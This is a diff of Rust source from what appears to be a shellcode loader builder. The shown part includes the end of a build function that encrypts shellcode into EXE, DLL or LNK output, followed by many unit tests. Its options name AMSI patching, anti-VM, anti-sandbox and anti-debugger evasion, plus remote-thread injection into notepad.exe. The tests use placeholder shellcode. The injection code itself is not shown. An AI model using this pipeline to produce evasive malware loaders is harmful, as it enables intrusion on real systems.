+        let default_encryption = EncryptionKind::XOR;
+        let encryption_kind = config.encryption_kind.unwrap_or(&default_encryption);
+        let encryption_key = config.encryption_key.unwrap_or("default_key");
+
+        crate::internals::lnk_generator::generate_lnk_file(
+            &encrypted_shellcode,
+            &lnk_path,
+            encryption_kind,
+            config.technique,
+            encryption_key,
+            config.process,
+        )?;
+
+        let final_path = copy_binary(&lnk_path, config.original_cwd, config.output_name)?;
+        Ok(final_path)
+    } else {
+        init_rust_project(config)?;
+        let binary_path = build_release(config.project_name, config.binary_format)?;
+        verify_binary(&binary_path)?;
+        let final_path = copy_binary(&binary_path, config.original_cwd, config.output_name)?;
+        Ok(final_path)
+    }
+}
+
+#[cfg(test)]
+fn init_rust_project_for_test(
+    project_name: &str,
+    shellcode_data: &[u8],
+    binary_format: &BinaryFormat,
+) -> io::Result<()> {
+    let encryption_kind = EncryptionKind::XOR;
+    let encryption_key = "test_key_12345";
+    let technique = Technique::CRT;
+    let process = "notepad.exe";
+
+    let (encrypted_shellcode, encryption_type_str, key_bytes) =
+        prepare_shellcode_encryption(shellcode_data, Some(&encryption_kind), Some(encryption_key))?;
+
+    write_cargo_toml(project_name, binary_format, encryption_type_str, false)?;
+
+    fs::create_dir_all("src")?;
+
+    let internals_source =
+        generate_internals_with_crypto_and_strings(encryption_type_str, false, false)?;
+    let source_code = generate_source_code(SourceCodeParams {
+        binary_format,
+        internals_source: &internals_source,
+        encryption: EncryptionParams {
+            encrypted_shellcode: &encrypted_shellcode,
+            key_bytes: &key_bytes,
+            encryption_type: encryption_type_str,
+        },
+        technique_params: TechniqueParams {
+            technique: &technique,
+            process,
+        },
+        with_api_hammering: false,
+        with_amsi_patch: false,
+        with_string_encryption: false,
+        with_dynamic_function_resolver: false,
+        with_anti_vm: false,
+        with_anti_sandbox: false,
+        with_anti_debugger: false,
+        encryption_kind: Some(&encryption_kind),
+        encryption_key: Some(encryption_key),
+    })?;
+
+    let file_name = match binary_format {
+        BinaryFormat::Exe => "src/main.rs",
+        BinaryFormat::Dll => "src/lib.rs",
+        BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file
+    };
+
+    fs::write(file_name, source_code)?;
+
+    Ok(())
+}
+
+#[cfg(test)]
+fn setup_and_build_project_for_test(
+    project_name: &str,
+    output_name: &str,
+    original_cwd: &Path,
+    shellcode_data: &[u8],
+    binary_format: &BinaryFormat,
+) -> io::Result<PathBuf> {
+    init_rust_project_for_test(project_name, shellcode_data, binary_format)?;
+    let binary_path = build_release(project_name, binary_format)?;
+    verify_binary(&binary_path)?;
+    let final_path = copy_binary(&binary_path, original_cwd, output_name)?;
+    Ok(final_path)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::TEST_DIR_MUTEX;
+    use std::env;
+
+    #[test]
+    fn test_init_rust_project() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let test_dir = env::temp_dir().join(format!("rust-project-test-{}", rand::random::<u32>()));
+        fs::create_dir_all(&test_dir).unwrap();
+
+        let original_dir = env::current_dir().unwrap();
+        env::set_current_dir(&test_dir).unwrap();
+
+        let shellcode = b"test shellcode";
+        let encryption_kind = EncryptionKind::XOR;
+        let technique = Technique::CRT;
+
+        let config = BuildConfig {
+            project_name: "test_project",
+            output_name: "test_output",
+            original_cwd: &original_dir,
+            shellcode_data: shellcode,
+            binary_format: &BinaryFormat::Exe,
+            encryption_kind: Some(&encryption_kind),
+            encryption_key: Some("test_key_123"),
+            technique: &technique,
+            process: "notepad.exe",
+            with_api_hammering: false,
+            with_amsi_patch: false,
+            with_string_encryption: false,
+            with_dynamic_function_resolver: false,
+            with_anti_vm: false,
+            with_anti_sandbox: false,
+            with_anti_debugger: false,
+        };
+
+        let result = init_rust_project(&config);
+        assert!(result.is_ok(), "should successfully initialize project");
+
+        assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist");
+        assert!(
+            Path::new("src/main.rs").exists(),
+            "src/main.rs should exist"
+        );
+
+        let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
+        assert!(
+            cargo_content.contains("test_project"),
+            "Cargo.toml should contain project name"
+        );
+
+        env::set_current_dir(&original_dir).unwrap();
+        let _ = fs::remove_dir_all(&test_dir);
+    }
+
+    #[test]
+    #[ignore = "requires x86_64-pc-windows-gnu target"]
+    fn test_build_release() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let original_dir = env::current_dir().unwrap();
+
+        struct DirGuard(PathBuf);
+        impl Drop for DirGuard {
+            fn drop(&mut self) {
+                let _ = env::set_current_dir(&self.0);
+            }
+        }
+        let _guard = DirGuard(original_dir.clone());
+
+        let test_dir = env::temp_dir().join(format!("rust-build-test-{}", rand::random::<u32>()));
+        fs::create_dir_all(&test_dir).unwrap();
+
+        env::set_current_dir(&test_dir).unwrap();
+
+        let shellcode = b"test";
+        let encryption_kind = EncryptionKind::XOR;
+        let technique = Technique::CRT;
+
+        let config = BuildConfig {
+            project_name: "build_test",
+            output_name: "build_output",
+            original_cwd: &original_dir,
+            shellcode_data: shellcode,
+            binary_format: &BinaryFormat::Exe,
+            encryption_kind: Some(&encryption_kind),
+            encryption_key: Some("test_key_123"),
+            technique: &technique,
+            process: "notepad.exe",
+            with_api_hammering: false,
+            with_amsi_patch: false,
+            with_string_encryption: false,
+            with_dynamic_function_resolver: false,
+            with_anti_vm: false,
+            with_anti_sandbox: false,
+            with_anti_debugger: false,
+        };
+
+        init_rust_project_with_target(&config).unwrap();
+        let result = build_release("build_test", &BinaryFormat::Exe);
+
+        assert!(
+            result.is_ok(),
+            "should successfully build project: {:?}",
+            result.err()
+        );
+
+        let _ = env::set_current_dir(&original_dir);
+        let _ = fs::remove_dir_all(&test_dir);
+    }
+
+    #[test]
+    fn test_copy_binary() {
+        let source_dir = env::temp_dir().join(format!("copy-source-{}", rand::random::<u32>()));
+        let dest_dir = env::temp_dir().join(format!("copy-dest-{}", rand::random::<u32>()));
+        fs::create_dir_all(&source_dir).unwrap();
+        fs::create_dir_all(&dest_dir).unwrap();
+
+        let source_file = source_dir.join("test_binary");
+        fs::write(&source_file, b"fake binary content").unwrap();
+
+        let result = copy_binary(&source_file, &dest_dir, "output.exe");
+        assert!(result.is_ok(), "should successfully copy binary");
+
+        let dest_file = result.unwrap();
+        assert!(dest_file.exists(), "copied file should exist");
+        assert_eq!(
+            dest_file.file_name().unwrap(),
+            "output.exe",
+            "should have correct name"
+        );
+
+        let content = fs::read(&dest_file).unwrap();
+        assert_eq!(content, b"fake binary content", "content should match");
+
+        let _ = fs::remove_dir_all(&source_dir);
+        let _ = fs::remove_dir_all(&dest_dir);
+    }
+
+    #[test]
+    #[ignore = "requires x86_64-pc-windows-gnu target"]
+    fn test_setup_and_build_project_integration() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let saved_dir = env::current_dir().unwrap();
+
+        struct DirGuard(PathBuf);
+        impl Drop for DirGuard {
+            fn drop(&mut self) {
+                let _ = env::set_current_dir(&self.0);
+            }
+        }
+        let _guard = DirGuard(saved_dir.clone());
+
+        let work_dir = env::temp_dir().join(format!("integration-work-{}", rand::random::<u32>()));
+        let original_dir =
+            env::temp_dir().join(format!("integration-orig-{}", rand::random::<u32>()));
+        fs::create_dir_all(&work_dir).unwrap();
+        fs::create_dir_all(&original_dir).unwrap();
+
+        env::set_current_dir(&work_dir).unwrap();
+
+        let shellcode = b"test shellcode data";
+        let result = setup_and_build_project_for_test(
+            "myproject",
+            "final_binary",
+            &original_dir,
+            shellcode,
+            &BinaryFormat::Exe,
+        );
+        assert!(
+            result.is_ok(),
+            "complete workflow should succeed: {:?}",
+            result.err()
+        );
+
+        let final_binary = result.unwrap();
+        assert!(final_binary.exists(), "final binary should exist");
+        assert_eq!(
+            final_binary.file_name().unwrap(),
+            "final_binary",
+            "should have correct name"
+        );
+        assert!(
+            final_binary.parent().unwrap() == original_dir,
+            "should be in original directory"
+        );
+
+        let _ = env::set_current_dir(&saved_dir);
+        let _ = fs::remove_dir_all(&work_dir);
+        let _ = fs::remove_dir_all(&original_dir);
+    }
+
+    #[test]
+    fn test_build_release_nonexistent_project() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let original_dir = env::current_dir().unwrap();
+
+        struct DirGuard(PathBuf);
+        impl Drop for DirGuard {
+            fn drop(&mut self) {
+                let _ = env::set_current_dir(&self.0);
+            }
+        }
+        let _guard = DirGuard(original_dir.clone());
+
+        let test_dir = env::temp_dir().join(format!("no-project-{}", rand::random::<u32>()));
+        fs::create_dir_all(&test_dir).unwrap();
+        env::set_current_dir(&test_dir).unwrap();
+
+        let result = build_release("nonexistent", &BinaryFormat::Exe);
+        assert!(result.is_err(), "should fail when project doesn't exist");
+
+        let _ = env::set_current_dir(&original_dir);
+        let _ = fs::remove_dir_all(&test_dir);
+    }
+
+    #[test]
+    fn test_copy_binary_nonexistent_source() {
+        let dest_dir = env::temp_dir().join(format!("copy-fail-{}", rand::random::<u32>()));
+        fs::create_dir_all(&dest_dir).unwrap();
+
+        let nonexistent = PathBuf::from("/nonexistent/path/binary");
+        let result = copy_binary(&nonexistent, &dest_dir, "output");
+        assert!(result.is_err(), "should fail when source doesn't exist");
+
+        let _ = fs::remove_dir_all(&dest_dir);
+    }
+
+    #[test]
+    #[ignore = "requires x86_64-pc-windows-gnu target"]
+    fn test_strip_binary() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let original_dir = env::current_dir().unwrap();
+
+        struct DirGuard(PathBuf);
+        impl Drop for DirGuard {
+            fn drop(&mut self) {
+                let _ = env::set_current_dir(&self.0);
+            }
+        }
+        let _guard = DirGuard(original_dir.clone());
+
+        let test_dir = env::temp_dir().join(format!("strip-test-{}", rand::random::<u32>()));
+        fs::create_dir_all(&test_dir).unwrap();
+        env::set_current_dir(&test_dir).unwrap();
+
+        let encryption_kind = EncryptionKind::XOR;
+        let technique = Technique::CRT;
+
+        let config = BuildConfig {
+            project_name: "strip_test",
+            output_name: "strip_output",
+            original_cwd: &original_dir,
+            shellcode_data: b"test",
+            binary_format: &BinaryFormat::Exe,
+            encryption_kind: Some(&encryption_kind),
+            encryption_key: Some("test_key_123"),
+            technique: &technique,
+            process: "notepad.exe",
+            with_api_hammering: false,
+            with_amsi_patch: false,
+            with_string_encryption: false,
+            with_dynamic_function_resolver: false,
+            with_anti_vm: false,
+            with_anti_sandbox: false,
+            with_anti_debugger: false,
+        };
+
+        init_rust_project_with_target(&config).unwrap();
+        let binary_path = build_release("strip_test", &BinaryFormat::Exe).unwrap();
+
+        let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
+        assert!(
+            cargo_content.contains("strip = true"),
+            "Cargo.toml should contain strip = true"
+        );
+
+        let result = verify_binary(&binary_path);
+        assert!(result.is_ok(), "should successfully verify binary");
+
+        // Check executable permissions (Unix only)
+        #[cfg(unix)]
+        {
+            use std::os::unix::fs::PermissionsExt;
+            let metadata = fs::metadata(&binary_path).unwrap();
+            assert!(
+                metadata.permissions().mode() & 0o111 != 0,
+                "binary should be executable"
+            );
+        }
+
+        println!("Binary built with Cargo strip = true setting");
+
+        let _ = env::set_current_dir(&original_dir);
+        let _ = fs::remove_dir_all(&test_dir);
+    }
+
+    #[test]
+    fn test_verify_binary() {
+        let nonexistent = PathBuf::from("/nonexistent/path/binary");
+        let result = verify_binary(&nonexistent);
+        assert!(result.is_err(), "should fail when binary doesn't exist");
+
+        let test_dir = env::temp_dir().join(format!("verify-test-{}", rand::random::<u32>()));
+        fs::create_dir_all(&test_dir).unwrap();
+
+        let fake_binary = test_dir.join("fake_binary");
+        fs::write(
+            &fake_binary,
+            b"this is just some text, not a binary at all!",
+        )
+        .unwrap();
+
+        let _ = verify_binary(&fake_binary);
+
+        let _ = fs::remove_dir_all(&test_dir);
+    }
+
+    #[test]
+    #[ignore = "requires x86_64-pc-windows-gnu target"]
+    fn test_generated_template_with_internals() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let original_dir = env::current_dir().unwrap();
+
+        struct DirGuard(PathBuf);
+        impl Drop for DirGuard {
+            fn drop(&mut self) {
+                let _ = env::set_current_dir(&self.0);
+            }
+        }
+        let _guard = DirGuard(original_dir.clone());
+
+        let test_dir = env::temp_dir().join(format!("template-test-{}", rand::random::<u32>()));
+        fs::create_dir_all(&test_dir).unwrap();
+        env::set_current_dir(&test_dir).unwrap();
+
+        let encryption_kind = EncryptionKind::XOR;
+        let technique = Technique::CRT;
+
+        let config = BuildConfig {
+            project_name: "template_test",
+            output_name: "template_output",
+            original_cwd: &original_dir,
+            shellcode_data: b"shellcode",
+            binary_format: &BinaryFormat::Exe,
+            encryption_kind: Some(&encryption_kind),
+            encryption_key: Some("test_key_123"),
+            technique: &technique,
+            process: "notepad.exe",
+            with_api_hammering: false,
+            with_amsi_patch: false,
+            with_string_encryption: false,
+            with_dynamic_function_resolver: false,
+            with_anti_vm: false,
+            with_anti_sandbox: false,
+            with_anti_debugger: false,
+        };
+
+        init_rust_project_with_target(&config).unwrap();
+
+        let main_rs = fs::read_to_string("src/main.rs").unwrap();
+        assert!(
+            main_rs.contains("mod internals"),
+            "Generated template should contain internals module"
+        );
+        assert!(
+            main_rs.contains("pub fn hex_to_bytes"),
+            "Generated template should contain hex_to_bytes function"
+        );
+        assert!(
+            main_rs.contains("pub fn bytes_to_hex"),
+            "Generated template should contain bytes_to_hex function"
+        );
+
+        let binary_path = build_release("template_test", &BinaryFormat::Exe).unwrap();
+        assert!(binary_path.exists(), "Binary should be built successfully");
+
+        let _ = env::set_current_dir(&original_dir);
+        let _ = fs::remove_dir_all(&test_dir);
+    }
+
+    #[test]
+    fn test_init_rust_project_dll() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let test_dir = env::temp_dir().join(format!("dll-project-test-{}", rand::random::<u32>()));
+        fs::create_dir_all(&test_dir).unwrap();
+
+        let original_dir = env::current_dir().unwrap();
+        env::set_current_dir(&test_dir).unwrap();
+
+        let shellcode = b"test shellcode";
+        let encryption_kind = EncryptionKind::XOR;
+        let technique = Technique::CRT;
+
+        let config = BuildConfig {
+            project_name: "test_dll",
+            output_name: "test_output",
+            original_cwd: &original_dir,
+            shellcode_data: shellcode,
+            binary_format: &BinaryFormat::Dll,
+            encryption_kind: Some(&encryption_kind),
+            encryption_key: Some("test_key_123"),
+            technique: &technique,
+            process: "notepad.exe",
+            with_api_hammering: false,
+            with_amsi_patch: false,
+            with_string_encryption: false,
+            with_dynamic_function_resolver: false,
+            with_anti_vm: false,
+            with_anti_sandbox: false,
+            with_anti_debugger: false,
+        };
+
+        let result = init_rust_project(&config);
+        assert!(result.is_ok(), "should successfully initialize DLL project");
+
+        assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist");
+        assert!(
+            Path::new("src/lib.rs").exists(),
+            "src/lib.rs should exist for DLL"
+        );
+
+        let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
+        assert!(
+            cargo_content.contains("cdylib"),
+            "Cargo.toml should contain cdylib for DLL"
+        );
+
+        let lib_content = fs::read_to_string("src/lib.rs").unwrap();
+        assert!(
+            lib_content.contains("DllMain"),
+            "lib.rs should contain DllMain for DLL"
+        );
+
+        env::set_current_dir(&original_dir).unwrap();
+        let _ = fs::remove_dir_all(&test_dir);
+    }
+
+    #[test]
+    fn test_shellcode_embedding() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let test_dir =
+            env::temp_dir().join(format!("shellcode-embed-test-{}", rand::random::<u32>()));
+        fs::create_dir_all(&test_dir).unwrap();
+
+        let original_dir = env::current_dir().unwrap();
+        env::set_current_dir(&test_dir).unwrap();
+
+        let shellcode = b"\x90\x90\x90\xc3";
+        let encryption_kind = EncryptionKind::XOR;
+        let technique = Technique::CRT;
+
+        let config = BuildConfig {
+            project_name: "embed_test",
+            output_name: "embed_output",
+            original_cwd: &original_dir,
+            shellcode_data: shellcode,
+            binary_format: &BinaryFormat::Exe,
+            encryption_kind: Some(&encryption_kind),
+            encryption_key: Some("test_key_123"),
+            technique: &technique,
+            process: "notepad.exe",
+            with_api_hammering: false,
+            with_amsi_patch: false,
+            with_string_encryption: false,
+            with_dynamic_function_resolver: false,
+            with_anti_vm: false,
+            with_anti_sandbox: false,
+            with_anti_debugger: false,
+        };
+
+        let result = init_rust_project(&config);
+        assert!(result.is_ok(), "should successfully initialize project");
+
+        let main_rs = fs::read_to_string("src/main.rs").unwrap();
+        assert!(
+            main_rs.contains("const ENCRYPTED_SHELLCODE: &[u8]"),
+            "main.rs should contain ENCRYPTED_SHELLCODE constant"
+        );
+        assert!(
+            main_rs.contains("const DECRYPTION_KEY: &[u8]"),
+            "main.rs should contain DECRYPTION_KEY constant"
+        );
+        assert!(
+            main_rs.contains("0x") && main_rs.contains("ENCRYPTED_SHELLCODE"),
+            "main.rs should contain embedded encrypted shellcode bytes"
+        );
+
+        env::set_current_dir(&original_dir).unwrap();
+        let _ = fs::remove_dir_all(&test_dir);
+    }
+
+    #[test]
+    fn test_format_bytes_as_array() {
+        let bytes = vec![0x01, 0x02, 0xFF];
+        let result = format_bytes_as_array(&bytes);
+        assert_eq!(result, "[0x01, 0x02, 0xff]");
+
+        let empty: Vec<u8> = vec![];
+        let result = format_bytes_as_array(&empty);
+        assert_eq!(result, "[]");
+    }
+
+    #[test]
+    fn test_build_env_builder_missing_fields() {
+        let result = BuildEnv::new().build();
+        assert!(result.is_err(), "should fail when project name is missing");
+        assert!(result
+            .unwrap_err()
+            .to_string()
+            .contains("Project name is required"));
+
+        let result = BuildEnv::new().with_project_name("test").build();
+        assert!(result.is_err(), "should fail when output name is missing");
+        assert!(result
+            .unwrap_err()
+            .to_string()
+            .contains("Output name is required"));
+    }
+
+    #[test]
+    fn test_build_env_builder_pattern() {
+        let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+        let original_dir = env::current_dir().unwrap();
+        let work_dir = env::temp_dir().join(format!("builder-work-{}", rand::random::<u32>()));
+        let output_dir = env::temp_dir().join(format!("builder-out-{}", rand::random::<u32>()));
+        fs::create_dir_all(&work_dir).unwrap();
+        fs::create_dir_all(&output_dir).unwrap();
+
+        env::set_current_dir(&work_dir).unwrap();
+
+        let shellcode = b"test";
+        let _result = BuildEnv::new()
+            .with_project_name("test_project")
+            .with_output_name("output.exe")
+            .with_original_cwd(&output_dir)
+            .with_shellcode(shellcode)
+            .with_binary_format(&BinaryFormat::Exe)
+            .build();
+
+        env::set_current_dir(&original_dir).unwrap();
+        let _ = fs::remove_dir_all(&work_dir);
+        let _ = fs::remove_dir_all(&output_dir);
+    }
+}